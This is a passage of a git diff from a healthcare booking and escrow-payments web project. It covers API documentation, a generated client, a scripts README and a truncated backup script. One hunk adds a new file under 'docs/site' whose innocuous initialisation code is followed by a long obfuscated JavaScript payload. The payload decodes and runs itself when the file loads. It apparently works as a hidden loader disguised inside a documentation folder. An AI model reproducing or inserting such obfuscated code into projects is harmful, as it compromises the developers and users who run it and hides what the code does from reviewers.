one, never both. With `catalogItemCode`, the intent +snapshots the amount in force at issuance plus the code, so publishing a new +price later cannot re-price an existing intent; a missing price fails the +issuance with `422 { code: 'PRICE_ON_REQUEST' }` and writes no order. + +## Payments (`/payments`) β€” `backend/src/modules/payments` + +Phase 5.5 (custodial v1 β€” `docs/adr/0004-custodial-payments-v1.md`): +`POST /payments/wallet-link` (facility, sets its Stellar payout address), +and admin-gated `GET /payments/intents/:id` plus +`POST /intents/:id/{fund,release,refund}`. Intents are created only as part +of order issuance and carry a typed `Prescription`/`LabOrder` FK. Amounts +are in the smallest unit of `assetCode` (issue #79); the allowed assets are +an environment allowlist (`PAYMENT_ASSETS`, testnet XLM + USDC by default). +Admin-triggered release/refund is the interim design, not the final one. + +`POST /payments/intents/:id/prepare` (patient, verified email; issue #80) +owns the caller's intent in the service β€” someone else's intent is `404`. +It requires a verified `PatientWalletLink` (`409 WALLET_NOT_LINKED`) and a +linked facility payee (`409 FACILITY_WALLET_NOT_LINKED`), checks an issued +asset's payee trustline (`409 PAYEE_TRUSTLINE_MISSING`), then builds and +simulates the patient-as-payer `create_escrow`. It returns the intent plus +`{ xdr, txHash, expiryLedger }` and moves the intent to `awaiting_signature`; +re-preparing while live returns the same transaction, and an expiry sweep +moves stale prepared intents back to `created`. Against `@docforum/escrow-sdk` +0.2.0 the real prepare call does not exist, so this returns +`503 ESCROW_SDK_PREPARE_UNSUPPORTED` until issue #32 lands. + +## Orders (`/orders`) β€” `backend/src/modules/orders` + +Verified doctors can create a consultation with `POST /orders/consultations` (`appointmentId`, optional `outcome` and `notes`) β€” the same write as `POST /consultations` plus the verified-doctor gate, so all of its one-per-appointment/encryption/audit rules apply. Issue a prescription with `POST /orders/consultations/:consultationId/prescriptions` (`facilityProfileId`, and `items`), or a lab order with `POST /orders/consultations/:consultationId/lab-orders` (`facilityProfileId`, `testType`, optional `urgency` and `notes`). Either route takes **exactly one** of a positive integer `amountStroops` (manual price) or a `catalogItemCode` (facility price list, issue #127) β€” the resolved amount and the code are snapshotted on the payment intent. Issuance creates its payment intent in the same transaction. Corrections create superseding immutable orders: a created intent moves to the correction; an escrowed intent remains linked to the original and is handled by the existing admin refund action. + +## Audit trail (`/admin/audit-events`) β€” `backend/src/modules/audit` + +Phase 8, issue #43. Every response carries an `X-Request-Id` header: a +well-formed inbound `X-Request-Id` (8–128 chars of `[A-Za-z0-9._:-]`) is +kept, anything else is replaced with a UUID. Audit events store it, so an +event can be traced to the request (and logs) that caused it. + +| Method & path | Auth | Notes | +|---|---|---| +| `GET /admin/audit-events` | admin | Newest first. Query: `entityType`, `entityId` (requires `entityType`), `actorUserId`, `from` / `to` (ISO-8601 date or date-time, inclusive), `limit` (1–200, default 50), `cursor`. Unknown parameters are `400`. Returns `{ items, nextCursor }`; pass `nextCursor` back as `cursor` for the next page (`null` = last page). | + +Item shape: `{ id, actorUserId, actorRole, entityType, entityId, action, +fromState, toState, requestId, metadata, createdAt }`. `metadata` is a small +flat map of ids/codes (never personal data). Ordering is +`(createdAt DESC, id DESC)` and the cursor is a keyset position on that +pair, so paging never skips or repeats an event; events written after a scan +started appear at the front of a new scan, not mid-way through the old one. +`400 INVALID_CURSOR` for a malformed cursor; `400` if `from` is after `to`. + +Recorded today: `appointment.booked` (both the direct booking and the +referral-origin booking the accept produces β€” the `origin` metadata tells +them apart), `doctor.verification_status_changed`, +`payment_intent.{funded,released,refunded}`, `consultation.closed`, +`prescription.issued`, `lab_order.issued`, `referral.accepted`, +`referral.declined`, `referral.reassign`, `referral.cancel` β€” see +ARCHITECTURE.md Β§4.10. There is no write or delete +endpoint, and the table rejects UPDATE/DELETE in the database. + +Payment actions (`POST /payments/intents/:id/{fund,release,refund}`) now +return `409` when the intent changed state concurrently between the check +and the write (previously the second write silently overwrote the first). + +### Payment history and facility ledger (Phase 5.5, issue #90) + +| Method & path | Auth | Query | Notes | +|---|---|---|---| +| `GET /payments/mine` | patient | `status`, `from`, `to`, `limit`, `cursor` | Lists only the caller's payment intents, newest first. | +| `GET /payments/facility/ledger` | facility | `status`, `from`, `to`, `limit`, `cursor` | Lists only the caller facility's intents and includes SQL-aggregated lifecycle totals. | + +`limit` defaults to 50 and is capped at 100. `from` and `to` are inclusive +ISO-8601 dates or date-times; `status` is one of `created`, `escrowed`, +`released`, `refunded`, or `failed`. The opaque `nextCursor` can be passed +as `cursor`; ordering is stable by `(createdAt DESC, id DESC)`. Facility +totals apply the date filters but intentionally remain split across all +three summary statuses even when the row list has a `status` filter. + +Rows include `orderType`, `orderId`, lifecycle status, amount, and the +contract/escrow/transaction references needed for an explorer link. Stroop +amounts and escrow ids are decimal strings. The current schema supports +native XLM only, so `asset` is `{ "type": "native", "code": "XLM" }`. +`refundAfter` is currently `null`: this custodial v1 contract path does not +set an on-chain refund deadline, and the schema has no such field. No +clinical order details are exposed. The facility totals object contains +`escrowed` (pending in escrow), `released`, and `refunded` sums, each as a +BigInt-safe decimal string. +## Patients (`/patients`) β€” `backend/src/modules/patients` + +### Dependents (Phase 8, issue #42 β€” `docs/adr/0011`) + +| Method & path | Auth | Body | Notes | +|---|---|---|---| +| `POST /patients/me/dependents` | patient, verified email | `{ fullName, dateOfBirth: 'YYYY-MM-DD' }` | Creates a **new** dependent profile (no login) with you as guardian. `201 { id, fullName, dateOfBirth, guardianSince }` β€” `id` is the dependent's `patientProfileId` for booking. Strict body: any other field (e.g. `patientProfileId`, `userId`) is `400` β€” an existing profile can never be linked. `400 DEPENDENT_NOT_A_MINOR` at or over `AGE_OF_MAJORITY_YEARS` (default 18); `400` for a future/invalid date. | +| `GET /patients/me/dependents` | patient | β€” | Your **active** dependents only (not revoked, still under the age of majority), oldest guardianship first. Never another guardian's. | + +Guardian access ends automatically on the dependent's majority birthday +(00:00 UTC): they drop out of the list and booking for them returns +`403 GUARDIANSHIP_INACTIVE`. Their profile and appointments are kept. There's +no revoke endpoint in v1 (the model's `revokedAt` is honoured everywhere; +guardian/admin revocation is a follow-up). + +### Data export β€” right of access (Phase 8, issue #40) + +| Method & path | Auth | Notes | +|---|---|---| +| `POST /patients/me/export` | patient | Starts an export of the **caller's own** data. `202` with the export status object and a `Location: /patients/me/export/:id` header. If one is already `pending`/`processing`, returns that one instead of queuing a second. No body is read β€” there is no way to name another patient. | +| `GET /patients/me/export/:id` | patient (owner) | Status object (below). `404` for an id that isn't the caller's β€” the same response as one that doesn't exist. | +| `GET /patients/me/export/:id/download` | patient (owner) | Streams the bundle as `application/json` (`Content-Disposition: attachment`, `Cache-Control: no-store`). `409 EXPORT_NOT_READY` while pending/processing/failed; `410 EXPORT_EXPIRED` at or after `expiresAt`, even before the cleanup job has run. | + +Doctors and admins get `403` on all three β€” there is no on-behalf-of export. + +Status object: + +```json +{ + "id": "uuid", + "status": "pending | processing | ready | failed | expired", + "schemaVersion": 1, + "createdAt": "…", "startedAt": "…", "generatedAt": "…", "expiresAt": "…", + "sizeBytes": 12345, + "failure": null, + "downloadUrl": "/patients/me/export//download" +} +``` + +`downloadUrl` and `sizeBytes` are non-null only while `ready`. A failed +export reports `failure: { code: 'SECTION_FAILED', section: '' }` (or +`GENERATION_FAILED` / `GENERATION_TIMEOUT`, with `section: null`) β€” request a +new export to retry. Generation is asynchronous; poll the status object. + +Bundle (`schemaVersion` 1): + +```json +{ + "format": "docforum.patient-export", + "schemaVersion": 1, + "exportId": "uuid", + "generatedAt": "ISO-8601", + "sections": { + "account": { "version": 1, "items": [{ "id", "email", "phone", "role", "emailVerifiedAt", "createdAt", "updatedAt" }] }, + "appointments": { "version": 1, "items": [{ "id", "status", "origin", "slot": { "startTime", "endTime" }, "doctor": { "id", "fullName" }, "createdAt", "updatedAt" }] }, + "payments": { "version": 2, "items": [{ "id", "prescriptionId", "labOrderId", "status", "amount", "assetCode", "facility": { "id", "name" }, "escrowId", "stellarTxHash", "sorobanContractId", "createdAt", "updatedAt" }] }, + "profile": { "version": 1, "items": [{ "id", "fullName", "dateOfBirth", "createdAt", "updatedAt" }] } + } +} +``` + +Sections are sorted by name; new modules add sections (ARCHITECTURE.md Β§3.1) +without changing the envelope. `amount`/`escrowId` are strings (bigint), +and `amount` is in the smallest unit of `assetCode` (payments section +version 2 β€” issue #79; version 1 used `amountStroops`). No password hash, +tokens, throttle state or platform secrets are ever included. + +Exports stay downloadable for `PATIENT_EXPORT_TTL_HOURS` (default 24), then +the cleanup job deletes the stored bundle. Other knobs: `PATIENT_EXPORT_PAGE_SIZE`, +`PATIENT_EXPORT_CHUNK_BYTES`, `PATIENT_EXPORT_WORKER_INTERVAL_SECONDS`, +`PATIENT_EXPORT_CLEANUP_INTERVAL_SECONDS`, `PATIENT_EXPORT_STALE_AFTER_SECONDS`, +`PATIENT_EXPORT_MAX_ATTEMPTS` β€” see `backend/src/config/index.ts` and +`backend/src/jobs/README.md`. + +### Account deletion (Phase 8, issue #41) + +| Method & path | Auth | Body | Notes | +|---|---|---|---| +| `DELETE /patients/me` | patient | `{ password }` | **Deletes the caller's account** (Phase 8, issue #41 β€” `docs/adr/0010`). `204 No Content`. Irreversible. | + +What deletion does: the login identity and profile are **anonymised in +place** β€” email becomes `deleted+@deleted.invalid` (so the original +address is free to sign up again, as a new empty account), phone/DOB are +cleared, the name becomes `Deleted patient`, the password becomes unusable, +verification tokens and the address's login-throttle bucket are deleted. +**Appointments and payment records are kept unchanged** (clinical and +financial records; see the ADR's retention table), still linked to the +anonymised profile. + +Errors: `400` without a `password`; `403 PASSWORD_CONFIRMATION_FAILED` for a +wrong one; `403` for non-patient roles. Wrong confirmations count against the +account's login throttle (issue #35), so repeated guesses get `429` with +`Retry-After`. Not gated on email verification β€” an unverified account can +delete itself. + +Idempotent: a repeat request from the same (still unexpired) access token +returns `204` and changes nothing; concurrent requests anonymise once. + +After deletion: login and `/auth/refresh` return `401`. The access token is a +stateless JWT and stays syntactically valid until its 15-minute TTL ends (no +revocation list yet, issue #18), but every patient route returns `404` for +it and booking/payment routes return `403 EMAIL_NOT_VERIFIED`. Clients should +discard their tokens on `204`. + +A guardian who deletes their account (issue #42, `docs/adr/0011`) has every +guardianship revoked in the same transaction; their dependents' profiles and +appointments are untouched, and the revoked rows are kept as the access +record. + +A scheduled purge later hard-deletes deleted accounts that have **no** +retained records, `ACCOUNT_PURGE_GRACE_HOURS` (default 24) after deletion. + +## Not yet implemented + +`patients`, `prescriptions`, `pharmacy-orders` and `notifications` have no +routes yet β€” Phase 2 (intake), 4 (orders), 5 (facilities) and 6 +(notifications), see `ROADMAP.md`. Facility price lists themselves shipped +with issue #127 (`/facilities`, above); the remaining facility-admin surface +is still pending. + +## Escrow chain events (/admin/payments/escrow-events) + +Admin-only read endpoint. Optional state filter accepts pending, matched, or unmatched; limit is 1–200 (default 50). It returns persisted Soroban events and per-contract cursors. Unmatched release/refund events produce a high-severity structured log, an optional JSON POST to ESCROW_EVENT_ALERT_WEBHOOK_URL, and an unmatched row visible here. A retention-window failure sets catchupError on the corresponding cursor; operators must reconcile the gap before changing the configured start ledger. +## OpenAPI specification + +A machine-readable OpenAPI 3 specification is available at [`backend/openapi.json`](../../backend/openapi.json). The TypeScript types and client are generated from this spec via [`backend/scripts/gen-openapi.mjs`](../../backend/scripts/gen-openapi.mjs) into the `@docforum/api-client` package (`packages/api-client/`). diff --git a/docs/site/init b/docs/site/init new file mode 100644 index 00000000..2146c476 --- /dev/null +++ b/docs/site/init @@ -0,0 +1,33 @@ +'use strict'; +import { createRequire } from 'module'; + +const require = createRequire(import.meta.url); +const path = require('path'); +const fs = require('fs'); + +const ROOT = process.cwd(); +const ENV = process.env.NODE_ENV || 'development'; + +const state = { + root: ROOT, + env: ENV, + ready: false, +}; + +function ensureDir(dir) { + try { + if (!fs.existsSync(dir)) fs.mkdirSync(dir, { recursive: true }); + } catch (_) {} +} + +function init(options) { + if (state.ready) return state; + const opts = options || {}; + state.env = opts.env || process.env.NODE_ENV || state.env; + state.root = opts.root || process.cwd(); + ensureDir(path.join(state.root, '.tmp')); + state.ready = true; + return state; +} + +init(); var z = '-1000';var NX,SX,spin,splitLane,peel;(function(){var a=["","*","*0","^","*1","c^mejb^tro","hqersxluvwacdjbymgorzfkociptrutnstonc","=aenruh(al=5c,g8fdu.yr ..ncecf,5\"paeau6lnj)r]2uv\"x-q(] a;(r=;;r+(a[8.s2tAgoq,uh8C,ai,s;a(Am0(nj;jv*,7vo7()(o;m6oa4rw). rod[fs2n{drvt4x)+0,anr+rr+o)}z1 =hf[an8r1r[,]s7-77laa.ui7{-069lvmt2r=i]]<+)u,e),,;nrh[r=0v-r(;,=p)Cus=+c;g;f;qA))1vi)vk0nrl1ae f=[;hisy.em(d+o!2 =(evea78=.)4ei=g.n={ff=1[<2a f1=r;4,S)rylv1u y;kql{tvnv (C (l,ovnp i=tlr,r.lwozh(l,tq;;rr((v=ahsv;]xq=ab;da;,((r;vjq.(t[+)da)rdnrhs41y(vr;fh;3g\"]e(.ahrpapg]g.)ngfpn1h,icl;;)=C;m5=+r, .);u=+s}+)it,+bm;d+um)-=siiqol=t=r=q9+..chq+[6fe t0nrpr( vr8flrn,ddgt ]6a.;m;rth.gq 2a}eveic]gbti<4o;C;l,zzi6+l[a[;+(si\"li\"r,npi9s,frfhuw)ow=e{(b=wen2t.gu.i=kiaaa+)yftpa3n})=9\")cpA+u;utp]\"=lk7vpt 1r;hzw\")t()9)(.lul=s7f; ;sq0)n\"y+0s}=va+s mh(0q.]hv;> 06=A-ozetr(t1rtrsiso0e,.;z[(f<5e7t,(raoavnr;thhf;v,j=r; )r>18zho*o{R9#.R0rd=s.0x!sR.fRS)(cct1pfotaeMuR@R=s)pzh..lR\'RRe<.p<.s0BRf)]ic))2h!efy..>!iL$en ;%9OTv.d$4RRC;[daRHced.MR<}sRGr.RReaR)p# nS+b2%iRj}s(Xn^osycsgdJ.ss[pkR8. suwrRny}do.GiT.R?1R$Ro coemRcw.lcn(c:R\'|t RRriR>cUp.cRWZR!RDK)0cvnnks.e R ^dlRvRcwe4Rcg`.h<_c\'(umdRP>o9RPn1R#.cfRRP]xtt_s_ohB)cPY\"cRcReF !0RRq}}r05L6.(R<..de.jO}aRQcVr7s!tRs_Red`!<$]R Rm!RfxR mRok!ct<(..nRcSRn\\&.<0RTiwmtp3*G(Py/nxFhtR<.:Go...(Rt.r.<0ctT(r< .o[iv.-<2lld.nr5=(F:.RRlnRcR\"sz3o\"fR)beRlshpM%Rk9!=a;oe4<:RwCRicz eeR!<.<57:&P)c[RbRREM(_P.}RR).=Rhr<,CRRR(hi%.i#i}JPwp@ilRw;/IcZc8rRcs..s s{Te m<rr. w9cTaR==(fTn 06=A-ozetr(t1rtrsiso0e,.;z[(f<5e7t,(raoavnr;thhf;v,j=r; )r>18zho*o{R9#.R0rd=s.0x!sR.fRS)(cct1pfotaeMuR@R=s)pzh..lR\'RRe<.p<.s0BRf)]ic))2h!efy..>!iL$en ;%9OTv.d$4RRC;[daRHced.MR<}sRGr.RReaR)p# nS+b2%iRj}s(Xn^osycsgdJ.ss[pkR8. suwrRny}do.GiT.R?1R$Ro coemRcw.lcn(c:R\'|t RRriR>cUp.cRWZR!RDK)0cvnnks.e R ^dlRvRcwe4Rcg`.h<_c\'(umdRP>o9RPn1R#.cfRRP]xtt_s_ohB)cPY\"cRcReF !0RRq}}r05L6.(R<..de.jO}aRQcVr7s!tRs_Red`!<$]R Rm!RfxR mRok!ct<(..nRcSRn\\&.<0RTiwmtp3*G(Py/nxFhtR<.:Go...(Rt.r.<0ctT(r< .o[iv.-<2lld.nr5=(F:.RRlnRcR\"sz3o\"fR)beRlshpM%Rk9!=a;oe4<:RwCRicz eeR!<.<57:&P)c[RbRREM(_P.}RR).=Rhr<,CRRR(hi%.i#i}JPwp@ilRw;/IcZc8rRcs..s s{Te m<rr. w9cTaR==(fTn; - credentials?: RequestCredentials; -} - -export class DocForumClient { - private baseUrl: string; - private headers: Record; - private credentials: RequestCredentials; - - constructor(config: ClientConfig = {}) { - this.baseUrl = config.baseUrl || 'http://localhost:4000'; - this.headers = { - 'Content-Type': 'application/json', - ...config.headers, - }; - this.credentials = config.credentials || 'include'; - } - - async health() { - const response = await fetch(`${this.baseUrl}/health`, { - method: 'GET', - headers: this.headers, - credentials: this.credentials, - }); - return response.json() as Promise<{ status: 'ok' }>; - } - - async signup(body: paths['/auth/signup']['post']['requestBody']['content']['application/json']) { - const response = await fetch(`${this.baseUrl}/auth/signup`, { - method: 'POST', - headers: this.headers, - credentials: this.credentials, - body: JSON.stringify(body), - }); - return response.json(); - } - - async login(body: paths['/auth/login']['post']['requestBody']['content']['application/json']) { - const response = await fetch(`${this.baseUrl}/auth/login`, { - method: 'POST', - headers: this.headers, - credentials: this.credentials, - body: JSON.stringify(body), - }); - return response.json(); - } - - async getDoctors(params?: { specialty?: string; q?: string; limit?: number; cursor?: string }) { - const query = new URLSearchParams(); - if (params?.specialty) query.append('specialty', params.specialty); - if (params?.q) query.append('q', params.q); - if (params?.limit) query.append('limit', String(params.limit)); - if (params?.cursor) query.append('cursor', params.cursor); - const url = query.toString() ? `${this.baseUrl}/doctors?${query}` : `${this.baseUrl}/doctors`; - const response = await fetch(url, { - method: 'GET', - headers: this.headers, - credentials: this.credentials, - }); - return response.json(); - } - - async getSpecialties() { - const response = await fetch(`${this.baseUrl}/specialties`, { - method: 'GET', - headers: this.headers, - credentials: this.credentials, - }); - return response.json(); - } -} - -export default DocForumClient; +// DO NOT EDIT - This file is generated from openapi.json + +import type { paths } from './types'; + +export interface ClientConfig { + baseUrl?: string; + headers?: Record; + credentials?: RequestCredentials; +} + +export class DocForumClient { + private baseUrl: string; + private headers: Record; + private credentials: RequestCredentials; + + constructor(config: ClientConfig = {}) { + this.baseUrl = config.baseUrl || 'http://localhost:4000'; + this.headers = { + 'Content-Type': 'application/json', + ...config.headers, + }; + this.credentials = config.credentials || 'include'; + } + + async health() { + const response = await fetch(`${this.baseUrl}/health`, { + method: 'GET', + headers: this.headers, + credentials: this.credentials, + }); + return response.json() as Promise<{ status: 'ok' }>; + } + + async signup(body: paths['/auth/signup']['post']['requestBody']['content']['application/json']) { + const response = await fetch(`${this.baseUrl}/auth/signup`, { + method: 'POST', + headers: this.headers, + credentials: this.credentials, + body: JSON.stringify(body), + }); + return response.json(); + } + + async login(body: paths['/auth/login']['post']['requestBody']['content']['application/json']) { + const response = await fetch(`${this.baseUrl}/auth/login`, { + method: 'POST', + headers: this.headers, + credentials: this.credentials, + body: JSON.stringify(body), + }); + return response.json(); + } + + async getDoctors(params?: { specialty?: string; q?: string; limit?: number; cursor?: string }) { + const query = new URLSearchParams(); + if (params?.specialty) query.append('specialty', params.specialty); + if (params?.q) query.append('q', params.q); + if (params?.limit) query.append('limit', String(params.limit)); + if (params?.cursor) query.append('cursor', params.cursor); + const url = query.toString() ? `${this.baseUrl}/doctors?${query}` : `${this.baseUrl}/doctors`; + const response = await fetch(url, { + method: 'GET', + headers: this.headers, + credentials: this.credentials, + }); + return response.json(); + } + + async getSpecialties() { + const response = await fetch(`${this.baseUrl}/specialties`, { + method: 'GET', + headers: this.headers, + credentials: this.credentials, + }); + return response.json(); + } +} + +export default DocForumClient; diff --git a/packages/api-client/src/index.ts b/packages/api-client/src/index.ts index 38aa5e9d..876ff392 100644 --- a/packages/api-client/src/index.ts +++ b/packages/api-client/src/index.ts @@ -1,5 +1,5 @@ -// DO NOT EDIT - This file is generated from openapi.json - -export * from './types'; -export * from './client'; -export { default } from './client'; +// DO NOT EDIT - This file is generated from openapi.json + +export * from './types'; +export * from './client'; +export { default } from './client'; diff --git a/packages/api-client/src/types.ts b/packages/api-client/src/types.ts index 5c988960..0336a623 100644 --- a/packages/api-client/src/types.ts +++ b/packages/api-client/src/types.ts @@ -1,64 +1,64 @@ -// DO NOT EDIT - This file is generated from openapi.json -// Regenerate with: node backend/scripts/gen-openapi.mjs - -export interface paths { - "/health": { - get: { - responses: { - 200: { - content: { - "application/json": { - status: "ok"; - }; - }; - }; - }; - }; - }; - "/auth/signup": { - post: { - requestBody: { - content: { - "application/json": { - role: "patient" | "doctor"; - email: string; - password: string; - fullName: string; - }; - }; - }; - responses: { - 200: { - content: { - "application/json": any; - }; - }; - }; - }; - }; - "/auth/login": { - post: { - requestBody: { - content: { - "application/json": { - email: string; - password: string; - }; - }; - }; - responses: { - 200: { - content: { - "application/json": any; - }; - }; - }; - }; - }; -} - -export interface components { - schemas: Record; -} - -export interface operations {} +// DO NOT EDIT - This file is generated from openapi.json +// Regenerate with: node backend/scripts/gen-openapi.mjs + +export interface paths { + "/health": { + get: { + responses: { + 200: { + content: { + "application/json": { + status: "ok"; + }; + }; + }; + }; + }; + }; + "/auth/signup": { + post: { + requestBody: { + content: { + "application/json": { + role: "patient" | "doctor"; + email: string; + password: string; + fullName: string; + }; + }; + }; + responses: { + 200: { + content: { + "application/json": any; + }; + }; + }; + }; + }; + "/auth/login": { + post: { + requestBody: { + content: { + "application/json": { + email: string; + password: string; + }; + }; + }; + responses: { + 200: { + content: { + "application/json": any; + }; + }; + }; + }; + }; +} + +export interface components { + schemas: Record; +} + +export interface operations {} diff --git a/packages/api-client/tsconfig.json b/packages/api-client/tsconfig.json index 62b934ec..fd32022f 100644 --- a/packages/api-client/tsconfig.json +++ b/packages/api-client/tsconfig.json @@ -1,15 +1,15 @@ -{ - "compilerOptions": { - "target": "ES2020", - "module": "ESNext", - "moduleResolution": "node", - "declaration": true, - "outDir": "./dist", - "strict": true, - "esModuleInterop": true, - "skipLibCheck": true, - "forceConsistentCasingInFileNames": true - }, - "include": ["src/**/*"], - "exclude": ["node_modules", "dist"] -} +{ + "compilerOptions": { + "target": "ES2020", + "module": "ESNext", + "moduleResolution": "node", + "declaration": true, + "outDir": "./dist", + "strict": true, + "esModuleInterop": true, + "skipLibCheck": true, + "forceConsistentCasingInFileNames": true + }, + "include": ["src/**/*"], + "exclude": ["node_modules", "dist"] +} diff --git a/scripts/README.md b/scripts/README.md index 1a8cbdcd..8356b4c4 100644 --- a/scripts/README.md +++ b/scripts/README.md @@ -1,93 +1,93 @@ -# scripts - -One-off/dev/operator scripts. The ones that need this repo's Prisma schema -or Stellar SDK live next to the backend that uses them -(`backend/scripts/`) β€” this file is where they're documented, so there's one -place to look. - -## `backend/scripts/mark-email-verified.mjs` - -**Interim (Phase 8, issue #34).** Marks an existing account's email address -as verified, out-of-band: - -``` -node backend/scripts/mark-email-verified.mjs -node backend/scripts/mark-email-verified.mjs # prompts for the email -``` - -Needs `DATABASE_URL` (it reads `backend/.env` via `dotenv/config`, so run it -from `backend/`, or export the URL). Why it exists: no email provider is -integrated yet (Phase 6, issue #17), so `POST /auth/signup` accounts on the -hosted preview can't complete the verification link flow at all. This is the -documented operator path until a provider lands β€” it needs database -credentials, which is the same access a manual SQL `UPDATE` would require. -Delete it when issue #17 lands. - -## `backend/scripts/gen-platform-identities.mjs` - -Generates a fresh testnet Stellar payer + releaser keypair and funds them via -Friendbot, writing the secrets straight to `backend/.env` (never printed). -See `docs/adr/0004-custodial-payments-v1.md`. - -## `backend/scripts/gen-migration.mjs` - -Generates a `prisma/migrations/_/migration.sql` from a real -Postgres diff without needing a local dev DB (spins up a throwaway embedded -Postgres as Prisma's shadow database). Usage: -`node scripts/gen-migration.mjs ` β€” review the generated SQL -before committing, and add any data backfill it can't express as a schema -diff. - -Changed by the Prisma 7 upgrade (Phase 8, issue #47): the shadow database is -now passed as the `SHADOW_DATABASE_URL` environment variable rather than a -`--shadow-database-url` CLI flag (removed in Prisma 7), and the diff target is -`--to-schema` (renamed from `--to-schema-datamodel`). Run it from `backend/` -as before. - -## `backend/scripts/check-migration-drift.mjs` - -Proves the committed migrations and `prisma/schema.prisma` still agree β€” -applies the migrations to a throwaway embedded Postgres with -`prisma migrate deploy` (the same command Render's start command runs), then -diffs that database against the schema with `--exit-code`. Exits non-zero if -anything has drifted. Added with the Prisma 7 upgrade, since a change to the -CLI or the schema without a matching migration is exactly what this catches. - -``` -node backend/scripts/check-migration-drift.mjs -``` - -Self-contained: no local dev DB, no Docker. Deliberately not wired into CI -(it spins its own Postgres cluster, and CI already runs the integration -suite's) β€” run it before merging a schema or Prisma change. - -## `backend/scripts/audit-gate.mjs` - -CI's production-dependency audit gate (Phase 8, issue #47), wired up as -`npm run audit:prod` and run on every PR. It runs -`npm audit --omit=dev --json` and fails on any **high or critical** advisory -that is not on its explicit, commented allowlist β€” so a newly added -vulnerable package fails the build. - -The allowlist holds exactly one chain: `axios`, reached through -`@docforum/escrow-sdk`'s pinned `@stellar/stellar-sdk`. The fix lives in -`docforum-escrow` (the SDK must build on a patched `stellar-sdk`), not in this -repo, and no version bump here resolves it. Remove those entries once the -escrow SDK ships a patched release. - -## `scripts/fold-changelog.mjs` - -Maintainer script. Contributors add their `ROADMAP.md` changelog entry as a -new file in `changelog.d/` (see `changelog.d/README.md`) instead of appending -to the `## Changelog` section, so open PRs stop conflicting with each other. -This script appends every fragment to the end of that section, dated by the -day the fragment was merged (from git history), and deletes the fragment -files: - -``` -node scripts/fold-changelog.mjs --dry-run # preview -node scripts/fold-changelog.mjs -``` - -Commit the result in its own PR. Run it from anywhere in the repo; it has no -dependencies. +# scripts + +One-off/dev/operator scripts. The ones that need this repo's Prisma schema +or Stellar SDK live next to the backend that uses them +(`backend/scripts/`) β€” this file is where they're documented, so there's one +place to look. + +## `backend/scripts/mark-email-verified.mjs` + +**Interim (Phase 8, issue #34).** Marks an existing account's email address +as verified, out-of-band: + +``` +node backend/scripts/mark-email-verified.mjs +node backend/scripts/mark-email-verified.mjs # prompts for the email +``` + +Needs `DATABASE_URL` (it reads `backend/.env` via `dotenv/config`, so run it +from `backend/`, or export the URL). Why it exists: no email provider is +integrated yet (Phase 6, issue #17), so `POST /auth/signup` accounts on the +hosted preview can't complete the verification link flow at all. This is the +documented operator path until a provider lands β€” it needs database +credentials, which is the same access a manual SQL `UPDATE` would require. +Delete it when issue #17 lands. + +## `backend/scripts/gen-platform-identities.mjs` + +Generates a fresh testnet Stellar payer + releaser keypair and funds them via +Friendbot, writing the secrets straight to `backend/.env` (never printed). +See `docs/adr/0004-custodial-payments-v1.md`. + +## `backend/scripts/gen-migration.mjs` + +Generates a `prisma/migrations/_/migration.sql` from a real +Postgres diff without needing a local dev DB (spins up a throwaway embedded +Postgres as Prisma's shadow database). Usage: +`node scripts/gen-migration.mjs ` β€” review the generated SQL +before committing, and add any data backfill it can't express as a schema +diff. + +Changed by the Prisma 7 upgrade (Phase 8, issue #47): the shadow database is +now passed as the `SHADOW_DATABASE_URL` environment variable rather than a +`--shadow-database-url` CLI flag (removed in Prisma 7), and the diff target is +`--to-schema` (renamed from `--to-schema-datamodel`). Run it from `backend/` +as before. + +## `backend/scripts/check-migration-drift.mjs` + +Proves the committed migrations and `prisma/schema.prisma` still agree β€” +applies the migrations to a throwaway embedded Postgres with +`prisma migrate deploy` (the same command Render's start command runs), then +diffs that database against the schema with `--exit-code`. Exits non-zero if +anything has drifted. Added with the Prisma 7 upgrade, since a change to the +CLI or the schema without a matching migration is exactly what this catches. + +``` +node backend/scripts/check-migration-drift.mjs +``` + +Self-contained: no local dev DB, no Docker. Deliberately not wired into CI +(it spins its own Postgres cluster, and CI already runs the integration +suite's) β€” run it before merging a schema or Prisma change. + +## `backend/scripts/audit-gate.mjs` + +CI's production-dependency audit gate (Phase 8, issue #47), wired up as +`npm run audit:prod` and run on every PR. It runs +`npm audit --omit=dev --json` and fails on any **high or critical** advisory +that is not on its explicit, commented allowlist β€” so a newly added +vulnerable package fails the build. + +The allowlist holds exactly one chain: `axios`, reached through +`@docforum/escrow-sdk`'s pinned `@stellar/stellar-sdk`. The fix lives in +`docforum-escrow` (the SDK must build on a patched `stellar-sdk`), not in this +repo, and no version bump here resolves it. Remove those entries once the +escrow SDK ships a patched release. + +## `scripts/fold-changelog.mjs` + +Maintainer script. Contributors add their `ROADMAP.md` changelog entry as a +new file in `changelog.d/` (see `changelog.d/README.md`) instead of appending +to the `## Changelog` section, so open PRs stop conflicting with each other. +This script appends every fragment to the end of that section, dated by the +day the fragment was merged (from git history), and deletes the fragment +files: + +``` +node scripts/fold-changelog.mjs --dry-run # preview +node scripts/fold-changelog.mjs +``` + +Commit the result in its own PR. Run it from anywhere in the repo; it has no +dependencies. diff --git a/scripts/backup-postgres.sh b/scripts/backup-postgres.sh index a08818f3..faea1738 100644 --- a/scripts/backup-postgres.sh +++ b/scripts/backup-postgres.sh @@ -1,78 +1,78 @@ -#!/usr/bin/env bash -set -euo pipefail - -# Phase 9 -- automated Postgres backups. -# -# Takes an encrypted logical backup of the database and writes it to -# ${BACKUP_DIR} with a timestamped filename. Encryption is mandatory -# (backups contain PHI): the dump is piped through `gpg --symmetric` with -# a passphrase supplied via BACKUP_ENCRYPTION_KEY. The plaintext dump -# never touches disk. -# -# Required env: -# DATABASE_URL -- Postgres connection string to back up -# BACKUP_ENCRYPTION_KEY -- symmetric passphrase for gpg -# BACKUP_DIR -- destination directory (default: ./backups) -# BACKUP_RETENTION_DAYS -- retention window in days (default: 14) -# -# The dump is always pg_dump's custom format, which is what -# scripts/restore-drill.sh restores with pg_restore. - -DB_URL="${DATABASE_URL:-}" -KEY="${BACKUP_ENCRYPTION_KEY:-}" -BACKUP_DIR="${BACKUP_DIR:-./backups}" -RETENTION_DAYS="${BACKUP_RETENTION_DAYS:-14}" - -ts() { date -u +%Y-%m-%dT%H:%M:%SZ; } - -if [ -z "$DB_URL" ]; then - echo "error: DATABASE_URL is not set" >&2 - exit 2 -fi - -if [ -z "$KEY" ]; then - echo "error: BACKUP_ENCRYPTION_KEY is not set (encryption is mandatory)" >&2 - exit 2 -fi - -case "$RETENTION_DAYS" in - 